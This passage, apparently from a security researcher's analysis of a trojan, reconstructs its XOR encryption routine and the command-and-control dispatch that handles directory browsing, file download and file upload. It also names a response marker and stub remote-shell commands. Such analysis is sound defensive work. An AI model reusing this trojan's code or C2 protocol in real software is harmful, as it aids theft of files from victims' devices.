    Arrays.fill(arrayOfByte1, 0, 10240, 0);
    Arrays.fill(arrayOfByte2, 0, 4, 0);
    System.arraycopy(paramArrayOfByte, paramInt1, arrayOfByte1, 0, paramInt2);
    int i = 0;
    if (i >= paramInt2);
    while (true)
    {
    return;
    int j = i + 1;
    arrayOfByte2[0] = (byte)(0x5 ^ arrayOfByte1[i]);
    paramArrayOfByte[(-1 + (paramInt1 + j))] = arrayOfByte2[0];
    if (j >= paramInt2)
    continue;
    i = j + 1;
    arrayOfByte2[1] = (byte)(0x27 ^ arrayOfByte1[j]);
    paramArrayOfByte[(-1 + (paramInt1 + i))] = arrayOfByte2[1];
    if (i < paramInt2)
    break;
    }
    }

    As soon as the trojan submits the report to command-and-control server, it receives back response from it.

    The response is checked to make sure it starts with the marker ejsi2ksz. It is then decrypted by calling the same symmetrical function encryptKey().

    The decrypted response is then parsed to see if it contains one out of 5 remote commands:

    switch
    {
    case AR_ONLINEREPORT: goto exit;
    case AR_REMOTESHELL: goto exit;
    case AR_DIRBROSOW: goto browse_directory;
    case AR_FILEDOWNLOAD: goto file_download;
    case AR_FILEUPLOAD: goto file_upload;
    default: goto exit;
    }
    exit:
    mDbgMsg("+++");
    exc1();
    socket2 = socket3;
    mDbgMsg(exc1.getMessage());
    socket2.close();
    mDbgMsg("socke close");
    exc3();

    browse_directory:
    i8 = 0 + 64;
    int j8 = readU16(array_b, i8);
    int k8 = i8 + 2;
    String string3 = new String(Arrays.copyOfRange(array_b, k8, j8 + 66), "UTF-8");
    Arrays.fill(array_b, 64, 10176, 0);
    i9 = GetDirList(string3, array_b, 64);

    As seen in the reconstructed source code above, out of 5 remote commands, only 3 are actually implemented:

    • AR_DIRBROSOW: directory browsing, handled by GetDirList()

    • AR_FILEDOWNLOAD: file download, handled by mReadFileDataFun()

    • AR_FILEUPLOAD: file upload, handled by mWriteFileDataFun()

    The remaining 2 are defaulting to an 'unrecognised' command:

    • AR_ONLINEREPORT: 'online report' command

    • AR_REMOTESHELL: remote shell execution

    The presence of the last 2 commands in the code indicates that the trojan is still in development and is likely to be updated in the future.